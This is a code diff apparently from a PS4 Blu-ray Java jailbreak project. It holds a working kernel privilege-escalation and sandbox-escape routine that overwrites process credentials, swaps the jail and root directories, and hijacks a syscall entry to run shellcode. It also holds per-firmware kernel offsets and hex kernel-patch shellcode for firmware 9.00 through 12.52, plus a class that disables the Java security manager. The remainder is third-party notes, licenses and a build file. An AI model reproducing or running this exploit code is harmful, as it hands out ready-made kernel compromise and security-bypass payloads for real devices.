||||
return false;
|
||||
}
|
||||
|
||||
long evfPtr = addr.insideKdata;
|
||||
|
||||
String evfString = readNullTerminatedString(evfPtr);
|
||||
if (!"evf cv".equals(evfString)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
addr.dataBase = evfPtr - KernelOffset.getPS4Offset("EVF_OFFSET");
|
||||
|
||||
if (!verifyElfHeader()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!escapeSandbox(addr.curproc)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
applyKernelPatchesPS4();
|
||||
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static boolean verifyElfHeader() {
|
||||
long headerValue = kernelRW.kread8(addr.dataBase);
|
||||
|
||||
int b0 = (int)(headerValue & 0xFF);
|
||||
int b1 = (int)((headerValue >>> 8) & 0xFF);
|
||||
int b2 = (int)((headerValue >>> 16) & 0xFF);
|
||||
int b3 = (int)((headerValue >>> 24) & 0xFF);
|
||||
|
||||
|
||||
if (b0 == 0x7F && b1 == 0x45 && b2 == 0x4C && b3 == 0x46) {
|
||||
return true;
|
||||
} else {
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private static boolean escapeSandbox(long curproc) {
|
||||
|
||||
if ((curproc >>> 48) != 0xFFFF) {
|
||||
return false;
|
||||
}
|
||||
|
||||
long PRISON0 = addr.dataBase + KernelOffset.getPS4Offset("PRISON0");
|
||||
long ROOTVNODE = addr.dataBase + KernelOffset.getPS4Offset("ROOTVNODE");
|
||||
long OFFSET_P_UCRED = 0x40;
|
||||
|
||||
long procFd = kernelRW.kread8(curproc + KernelOffset.PROC_FD);
|
||||
long ucred = kernelRW.kread8(curproc + OFFSET_P_UCRED);
|
||||
|
||||
if ((procFd >>> 48) != 0xFFFF || (ucred >>> 48) != 0xFFFF) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
kernelRW.kwrite32(ucred + 0x04, 0); // cr_uid
|
||||
kernelRW.kwrite32(ucred + 0x08, 0); // cr_ruid
|
||||
kernelRW.kwrite32(ucred + 0x0C, 0); // cr_svuid
|
||||
kernelRW.kwrite32(ucred + 0x10, 1); // cr_ngroups
|
||||
kernelRW.kwrite32(ucred + 0x14, 0); // cr_rgid
|
||||
|
||||
long prison0 = kernelRW.kread8(PRISON0);
|
||||
if ((prison0 >>> 48) != 0xFFFF) {
|
||||
return false;
|
||||
}
|
||||
kernelRW.kwrite8(ucred + 0x30, prison0);
|
||||
|
||||
// Add JIT privileges
|
||||
kernelRW.kwrite8(ucred + 0x60, -1);
|
||||
kernelRW.kwrite8(ucred + 0x68, -1);
|
||||
|
||||
long rootvnode = kernelRW.kread8(ROOTVNODE);
|
||||
if ((rootvnode >>> 48) != 0xFFFF) {
|
||||
return false;
|
||||
}
|
||||
kernelRW.kwrite8(procFd + 0x10, rootvnode); // fd_rdir
|
||||
kernelRW.kwrite8(procFd + 0x18, rootvnode); // fd_jdir
|
||||
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static void applyKernelPatchesPS4() {
|
||||
|
||||
byte[] shellcode = KernelOffset.getKernelPatchesShellcode();
|
||||
if (shellcode.length == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
long mappingAddr = 0x920100000L;
|
||||
long shadowMappingAddr = 0x926100000L;
|
||||
|
||||
long sysent661Addr = addr.dataBase + KernelOffset.getPS4Offset("SYSENT_661_OFFSET");
|
||||
int syNarg = kernelRW.kread32(sysent661Addr);
|
||||
long syCall = kernelRW.kread8(sysent661Addr + 8);
|
||||
int syThrcnt = kernelRW.kread32(sysent661Addr + 0x2c);
|
||||
|
||||
kernelRW.kwrite32(sysent661Addr, 2);
|
||||
kernelRW.kwrite8(sysent661Addr + 8, addr.dataBase + KernelOffset.getPS4Offset("JMP_RSI_GADGET"));
|
||||
kernelRW.kwrite32(sysent661Addr + 0x2c, 1);
|
||||
|
||||
int PROT_READ = 0x1;
|
||||
int PROT_WRITE = 0x2;
|
||||
int PROT_EXEC = 0x4;
|
||||
int PROT_RW = PROT_READ | PROT_WRITE;
|
||||
int PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC;
|
||||
|
||||
int alignedMemsz = 0x10000;
|
||||
|
||||
// create shm with exec permission
|
||||
long execHandle = Helper.syscall(Helper.SYS_JITSHM_CREATE, 0L, (long)alignedMemsz, (long)PROT_RWX);
|
||||
|
||||
// create shm alias with write permission
|
||||
long writeHandle = Helper.syscall(Helper.SYS_JITSHM_ALIAS, execHandle, (long)PROT_RW);
|
||||
|
||||
// map shadow mapping and write into it
|
||||
Helper.syscall(Helper.SYS_MMAP, shadowMappingAddr, (long)alignedMemsz, (long)PROT_RW, 0x11L, writeHandle, 0L);
|
||||
|
||||
for (int i = 0; i < shellcode.length; i++) {
|
||||
api.write8(shadowMappingAddr + i, shellcode[i]);
|
||||
}
|
||||
|
||||
// map executable segment
|
||||
Helper.syscall(Helper.SYS_MMAP, mappingAddr, (long)alignedMemsz, (long)PROT_RWX, 0x11L, execHandle, 0L);
|
||||
|
||||
Helper.syscall(Helper.SYS_KEXEC, mappingAddr);
|
||||
|
||||
|
||||
kernelRW.kwrite32(sysent661Addr, syNarg);
|
||||
kernelRW.kwrite8(sysent661Addr + 8, syCall);
|
||||
kernelRW.kwrite32(sysent661Addr + 0x2c, syThrcnt);
|
||||
|
||||
Helper.syscall(Helper.SYS_CLOSE, writeHandle);
|
||||
|
||||
}
|
||||
|
||||
public static void setKernelAddresses(long curproc, long curprocOfiles, long insideKdata, long allproc) {
|
||||
addr.curproc = curproc;
|
||||
addr.curprocOfiles = curprocOfiles;
|
||||
addr.insideKdata = insideKdata;
|
||||
addr.allproc = allproc;
|
||||
|
||||
}
|
||||
|
||||
public static boolean isKernelRWAvailable() {
|
||||
return kernelRW != null && addr.isInitialized();
|
||||
}
|
||||
|
||||
public static void initializeKernelOffsets() {
|
||||
KernelOffset.initializeFromHelper();
|
||||
}
|
||||
}
|
||||
193
src/org/bdj/external/KernelOffset.java
vendored
Normal file
193
src/org/bdj/external/KernelOffset.java
vendored
Normal file
@@ -0,0 +1,193 @@
|
||||
package org.bdj.external;
|
||||
|
||||
import java.util.Hashtable;
|
||||
|
||||
public class KernelOffset {
|
||||
|
||||
// proc structure
|
||||
public static final int PROC_PID = 0xb0;
|
||||
public static final int PROC_FD = 0x48;
|
||||
public static final int PROC_VM_SPACE = 0x200;
|
||||
public static final int PROC_COMM = 0x448;
|
||||
public static final int PROC_SYSENT = 0x470;
|
||||
|
||||
// filedesc
|
||||
public static final int FILEDESC_OFILES = 0x0;
|
||||
public static final int SIZEOF_OFILES = 0x8;
|
||||
|
||||
// vmspace structure
|
||||
public static final int VMSPACE_VM_PMAP = 0x1C8;
|
||||
public static final int VMSPACE_VM_VMID = 0x1D4;
|
||||
|
||||
// pmap structure
|
||||
public static final int PMAP_CR3 = 0x28;
|
||||
|
||||
// network
|
||||
public static final int SO_PCB = 0x18;
|
||||
public static final int INPCB_PKTOPTS = 0x118;
|
||||
|
||||
// PS4 IPv6 structure
|
||||
public static final int PS4_OFF_TCLASS = 0xb0;
|
||||
public static final int PS4_OFF_IP6PO_RTHDR = 0x68;
|
||||
|
||||
private static Hashtable ps4KernelOffsets;
|
||||
private static Hashtable shellcodeData;
|
||||
private static String currentFirmware = null;
|
||||
|
||||
static {
|
||||
initializePS4Offsets();
|
||||
initializeShellcodes();
|
||||
}
|
||||
|
||||
private static void initializePS4Offsets() {
|
||||
ps4KernelOffsets = new Hashtable();
|
||||
|
||||
// PS4 9.00
|
||||
addFirmwareOffsets("9.00", 0x7f6f27L, 0x111f870L, 0x21eff20L, 0x221688dL, 0x1107f00L, 0x4c7adL, 0x3977F0);
|
||||
|
||||
// PS4 9.03/9.04
|
||||
addFirmwareOffsets("9.03", 0x7f4ce7L, 0x111b840L, 0x21ebf20L, 0x221288dL, 0x1103f00L, 0x5325bL, 0x3959F0);
|
||||
addFirmwareOffsets("9.04", 0x7f4ce7L, 0x111b840L, 0x21ebf20L, 0x221288dL, 0x1103f00L, 0x5325bL, 0x3959F0);
|
||||
|
||||
// PS4 9.50/9.51/9.60
|
||||
addFirmwareOffsets("9.50", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0);
|
||||
addFirmwareOffsets("9.51", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0);
|
||||
addFirmwareOffsets("9.60", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0);
|
||||
|
||||
// PS4 10.00/10.01
|
||||
addFirmwareOffsets("10.00", 0x7b5133L, 0x111b8b0L, 0x1b25bd0L, 0x1b9e08dL, 0x110a980L, 0x68b1L, 0x45B10);
|
||||
addFirmwareOffsets("10.01", 0x7b5133L, 0x111b8b0L, 0x1b25bd0L, 0x1b9e08dL, 0x110a980L, 0x68b1L, 0x45B10);
|
||||
|
||||
// PS4 10.50/10.70/10.71
|
||||
addFirmwareOffsets("10.50", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330);
|
||||
addFirmwareOffsets("10.70", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330);
|
||||
addFirmwareOffsets("10.71", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330);
|
||||
|
||||
// PS4 11.00
|
||||
addFirmwareOffsets("11.00", 0x7fc26fL, 0x111f830L, 0x2116640L, 0x221c60dL, 0x1109350L, 0x71a21L, 0x58F10);
|
||||
|
||||
// PS4 11.02
|
||||
addFirmwareOffsets("11.02", 0x7fc22fL, 0x111f830L, 0x2116640L, 0x221c60dL, 0x1109350L, 0x71a21L, 0x58F10);
|
||||
|
||||
// PS4 11.50/11.52
|
||||
addFirmwareOffsets("11.50", 0x784318L, 0x111fa18L, 0x2136e90L, 0x21cc60d, 0x110a760L, 0x704d5L, 0xE6C20);
|
||||
addFirmwareOffsets("11.52", 0x784318L, 0x111fa18L, 0x2136e90L, 0x21cc60d, 0x110a760L, 0x704d5L, 0xE6C20);
|
||||
|
||||
// PS4 12.00/12.02
|
||||
addFirmwareOffsets("12.00", 0x784798L, 0x111fa18L, 0x2136e90L, 0x21cc60dL, 0x110a760L, 0x47b31L, 0xE6C20);
|
||||
addFirmwareOffsets("12.02", 0x784798L, 0x111fa18L, 0x2136e90L, 0x21cc60dL, 0x110a760L, 0x47b31L, 0xE6C20);
|
||||
|
||||
// PS4 12.50/12.52, fill only really needed ones
|
||||
addFirmwareOffsets("12.50", 0, 0x111fa18L, 0x2136e90L, 0, 0x110a760L, 0x47b31L, 0xE6C20);
|
||||
addFirmwareOffsets("12.52", 0, 0x111fa18L, 0x2136e90L, 0, 0x110a760L, 0x47b31L, 0xE6C20);
|
||||
}
|
||||
|
||||
private static void initializeShellcodes() {
|
||||
shellcodeData = new Hashtable();
|
||||
|
||||
shellcodeData.put("9.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000ebc7818d0b08000000000066448989c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("9.03", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000ebc7818d0b0800000000006644898994ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("9.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00ebc7813d6d1900000000006644898924f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("10.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b990e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600ebc7817d2039000000000066448989a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("10.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb0000006689811330210041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800ebc781eeb2470000000000668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("11.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300ebc781eec8350000000000668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("11.02", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300ebc7810ec935000000000066898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("11.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900ebc781aebe2f000000000066898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("12.00", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900ebc781eec02f000000000066898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("12.50", "b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b0041b9eb00000041baeb00000041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981347b6200c681cd0a0000ebc6810dd42b00ebc68151d42b00ebc681cdd42b00ebc68111d52b00ebc681bdd62b00ebc6816ddb2b00ebc6813ddc2b00eb664489891f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126153900ebc7812ec12f0000000000668981a4711b00c78158771b0090e93c01c781a0d83b004831c0c3c6815aa71f0037c6815da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3");
|
||||
|
||||
shellcodeData.put("9.04", shellcodeData.get("9.03"));
|
||||
shellcodeData.put("9.51", shellcodeData.get("9.50"));
|
||||
shellcodeData.put("9.60", shellcodeData.get("9.50"));
|
||||
shellcodeData.put("10.01", shellcodeData.get("10.00"));
|
||||
shellcodeData.put("10.70", shellcodeData.get("10.50"));
|
||||
shellcodeData.put("10.71", shellcodeData.get("10.50"));
|
||||
shellcodeData.put("11.52", shellcodeData.get("11.50"));
|
||||
shellcodeData.put("12.02", shellcodeData.get("12.00"));
|
||||
shellcodeData.put("12.52", shellcodeData.get("12.50"));
|
||||
}
|
||||
|
||||
private static void addFirmwareOffsets(String fw, long evf, long prison0, long rootvnode,
|
||||
long targetId, long sysent661, long jmpRsi, long klLock) {
|
||||
Hashtable offsets = new Hashtable();
|
||||
offsets.put("EVF_OFFSET", new Long(evf));
|
||||
offsets.put("PRISON0", new Long(prison0));
|
||||
offsets.put("ROOTVNODE", new Long(rootvnode));
|
||||
offsets.put("TARGET_ID_OFFSET", new Long(targetId));
|
||||
offsets.put("SYSENT_661_OFFSET", new Long(sysent661));
|
||||
offsets.put("JMP_RSI_GADGET", new Long(jmpRsi));
|
||||
offsets.put("KL_LOCK", new Long(klLock));
|
||||
ps4KernelOffsets.put(fw, offsets);
|
||||
}
|
||||
|
||||
public static String getFirmwareVersion() {
|
||||
if (currentFirmware == null) {
|
||||
currentFirmware = Helper.getCurrentFirmwareVersion();
|
||||
}
|
||||
return currentFirmware;
|
||||
}
|
||||
|
||||
public static boolean hasPS4Offsets() {
|
||||
return ps4KernelOffsets.containsKey(getFirmwareVersion());
|
||||
}
|
||||
|
||||
public static long getPS4Offset(String offsetName) {
|
||||
String fw = getFirmwareVersion();
|
||||
Hashtable offsets = (Hashtable)ps4KernelOffsets.get(fw);
|
||||
if (offsets == null) {
|
||||
throw new RuntimeException("No offsets available for firmware " + fw);
|
||||
}
|
||||
|
||||
Long offset = (Long)offsets.get(offsetName);
|
||||
if (offset == null) {
|
||||
throw new RuntimeException("Offset " + offsetName + " not found for firmware " + fw);
|
||||
}
|
||||
|
||||
return offset.longValue();
|
||||
}
|
||||
|
||||
public static boolean shouldApplyKernelPatches() {
|
||||
return hasPS4Offsets() && hasShellcodeForCurrentFirmware();
|
||||
}
|
||||
|
||||
public static byte[] getKernelPatchesShellcode() {
|
||||
String firmware = getFirmwareVersion();
|
||||
String shellcode = (String)shellcodeData.get(firmware);
|
||||
if (shellcode == null || shellcode.length() == 0) {
|
||||
return new byte[0];
|
||||
}
|
||||
return hexToBinary(shellcode);
|
||||
}
|
||||
|
||||
public static boolean hasShellcodeForCurrentFirmware() {
|
||||
String firmware = getFirmwareVersion();
|
||||
return shellcodeData.containsKey(firmware);
|
||||
}
|
||||
|
||||
private static byte[] hexToBinary(String hex) {
|
||||
byte[] result = new byte[hex.length() / 2];
|
||||
for (int i = 0; i < result.length; i++) {
|
||||
int index = i * 2;
|
||||
int value = Integer.parseInt(hex.substring(index, index + 2), 16);
|
||||
result[i] = (byte)value;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// Initialize method to set firmware from Helper
|
||||
public static void initializeFromHelper() {
|
||||
String helperFirmware = Helper.getCurrentFirmwareVersion();
|
||||
if (helperFirmware != null) {
|
||||
currentFirmware = helperFirmware;
|
||||
}
|
||||
}
|
||||
}
|
||||
1294
src/org/bdj/external/Lapse.java
vendored
Normal file
1294
src/org/bdj/external/Lapse.java
vendored
Normal file
File diff suppressed because it is too large
Load Diff
1078
src/org/bdj/external/Poops.java
vendored
Normal file
1078
src/org/bdj/external/Poops.java
vendored
Normal file
File diff suppressed because it is too large
Load Diff
26
src/org/bdj/sandbox/DisableSecurityManagerAction.java
Normal file
26
src/org/bdj/sandbox/DisableSecurityManagerAction.java
Normal file
@@ -0,0 +1,26 @@
|
||||
/*
|
||||
* Copyright (C) 2021 Andy Nguyen
|
||||
*
|
||||
* This software may be modified and distributed under the terms
|
||||
* of the MIT license. See the LICENSE file for details.
|
||||
*/
|
||||
|
||||
package org.bdj.sandbox;
|
||||
|
||||
import java.security.AccessController;
|
||||
import java.security.PrivilegedActionException;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class DisableSecurityManagerAction implements PrivilegedExceptionAction {
|
||||
private DisableSecurityManagerAction() {
|
||||
}
|
||||
|
||||
public Object run() {
|
||||
System.setSecurityManager(null);
|
||||
return System.getSecurityManager();
|
||||
}
|
||||
|
||||
public static SecurityManager execute() throws PrivilegedActionException {
|
||||
return (SecurityManager) AccessController.doPrivileged(new DisableSecurityManagerAction());
|
||||
}
|
||||
}
|
||||
5
thirdparty/bd-certificates/README.txt
vendored
Normal file
5
thirdparty/bd-certificates/README.txt
vendored
Normal file
@@ -0,0 +1,5 @@
|
||||
Both BD-JB and BDJ-SDK include these exact keys:
|
||||
https://github.com/TheOfficialFloW/bd-jb
|
||||
https://github.com/john-tornblom/bdj-sdk/
|
||||
|
||||
These are probably generated by BDCertGenerator from the HD Cookbook.
|
||||
BIN
thirdparty/bd-certificates/app.discroot.crt
vendored
Normal file
BIN
thirdparty/bd-certificates/app.discroot.crt
vendored
Normal file
Binary file not shown.
BIN
thirdparty/bd-certificates/bu.discroot.crt
vendored
Normal file
BIN
thirdparty/bd-certificates/bu.discroot.crt
vendored
Normal file
Binary file not shown.
BIN
thirdparty/bd-certificates/id.bdmv
vendored
Normal file
BIN
thirdparty/bd-certificates/id.bdmv
vendored
Normal file
Binary file not shown.
BIN
thirdparty/bd-certificates/keystore.store
vendored
Normal file
BIN
thirdparty/bd-certificates/keystore.store
vendored
Normal file
Binary file not shown.
2
thirdparty/bd-stubs/README.txt
vendored
Normal file
2
thirdparty/bd-stubs/README.txt
vendored
Normal file
@@ -0,0 +1,2 @@
|
||||
interactive.zip retrieved from:
|
||||
https://github.com/zathras/java.net/tree/90817788f5b393243d89de9ea9f569121a48429d/hdcookbook/lib/stubs/interactive
|
||||
BIN
thirdparty/bd-stubs/interactive.zip
vendored
Normal file
BIN
thirdparty/bd-stubs/interactive.zip
vendored
Normal file
Binary file not shown.
52
thirdparty/bd-tools/LICENSE
vendored
Normal file
52
thirdparty/bd-tools/LICENSE
vendored
Normal file
@@ -0,0 +1,52 @@
|
||||
Copyright (c) 2007, Sun Microsystems, Inc.
|
||||
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
* Neither the name of Sun Microsystems nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
||||
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
||||
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
||||
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
||||
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
Note: In order to comply with the binary form redistribution
|
||||
requirement in the above license, the licensee may include
|
||||
a URL reference to a copy of the required copyright notice,
|
||||
the list of conditions and the disclaimer in a human readable
|
||||
file with the binary form of the code that is subject to the
|
||||
above license. For example, such file could be put on a
|
||||
Blu-ray disc containing the binary form of the code or could
|
||||
be put in a JAR file that is broadcast via a digital television
|
||||
broadcast medium. In any event, you must include in any end
|
||||
user licenses governing any code that includes the code subject
|
||||
to the above license (in source and/or binary form) a disclaimer
|
||||
that is at least as protective of Sun as the disclaimers in the
|
||||
above license.
|
||||
|
||||
A copy of the required copyright notice, the list of conditions and
|
||||
the disclaimer will be maintained at
|
||||
https://hdcookbook.dev.java.net/misc/license.html .
|
||||
Thus, licensees may comply with the binary form redistribution
|
||||
requirement with a text file that contains the following text:
|
||||
|
||||
A copy of the license(s) governing this code is located
|
||||
at https://hdcookbook.dev.java.net/misc/license.html
|
||||
|
||||
10
thirdparty/bd-tools/README
vendored
Normal file
10
thirdparty/bd-tools/README
vendored
Normal file
@@ -0,0 +1,10 @@
|
||||
bcprov-jdk15-137.jar, jdktools.jar and security.jar retrieved from BDJ-SDK:
|
||||
https://github.com/john-tornblom/bdj-sdk/tree/master/host/lib
|
||||
|
||||
bdjo.jar, id.jar, index.jar and movieobject.jar retrieved from zathras/java.net:
|
||||
https://github.com/zathras/java.net/releases/tag/1.2
|
||||
|
||||
These tools are part of the HD Cookbook:
|
||||
https://hdcookbook.jovial.com/
|
||||
https://github.com/zathras/java.net/tree/master/hdcookbook/DiscCreationTools
|
||||
https://github.com/oliverlietz/bd-j/tree/master/DiscCreationTools
|
||||
44
thirdparty/makefs/Makefile
vendored
Normal file
44
thirdparty/makefs/Makefile
vendored
Normal file
@@ -0,0 +1,44 @@
|
||||
# $NetBSD: Makefile,v 1.36 2013/08/05 14:41:57 reinoud Exp $
|
||||
#
|
||||
CFLAGS=`pkg-config --cflags libbsd-overlay`
|
||||
LDFLAGS=`pkg-config --libs libbsd-overlay`
|
||||
WARNS?= 5
|
||||
|
||||
# .include <bsd.own.mk>
|
||||
|
||||
PROG= makefs
|
||||
SRCS= udf.c strstuff.c \
|
||||
makefs.c \
|
||||
walk.c
|
||||
MAN= makefs.8
|
||||
#CC= clang
|
||||
DESTDIR ?= /usr/local
|
||||
|
||||
MKNODSRC= ${NETBSDSRCDIR}/sbin/mknod
|
||||
MTREESRC= ${NETBSDSRCDIR}/usr.sbin/mtree
|
||||
|
||||
CPPFLAGS+= -I${.CURDIR} -I${MKNODSRC} -I${MTREESRC} -DMAKEFS
|
||||
#CPPFLAGS+= -DMSDOSFS_DEBUG
|
||||
#PATH: ${MKNODSRC} ${MTREESRC}
|
||||
|
||||
#.include "${.CURDIR}/cd9660/Makefile.inc"
|
||||
#.include "${.CURDIR}/chfs/Makefile.inc"
|
||||
#.include "${.CURDIR}/ffs/Makefile.inc"
|
||||
#.include "${.CURDIR}/v7fs/Makefile.inc"
|
||||
#.include "${.CURDIR}/msdos/Makefile.inc"
|
||||
|
||||
SRCS+= udf_core.c udf_osta.c
|
||||
|
||||
#if !defined(HOSTPROG)
|
||||
DPADD+= ${LIBUTIL} ${LIBM}
|
||||
LDADD+= -lutil -lm
|
||||
#endif
|
||||
|
||||
prog:
|
||||
${CC} -o $(PROG) $(SRCS) $(CFLAGS) $(LDFLAGS) -D_GNU_SOURCE -std=c11 -lm -I./udf -static
|
||||
|
||||
install:
|
||||
install -D $(PROG) $(DESTDIR)/bin/$(PROG)
|
||||
|
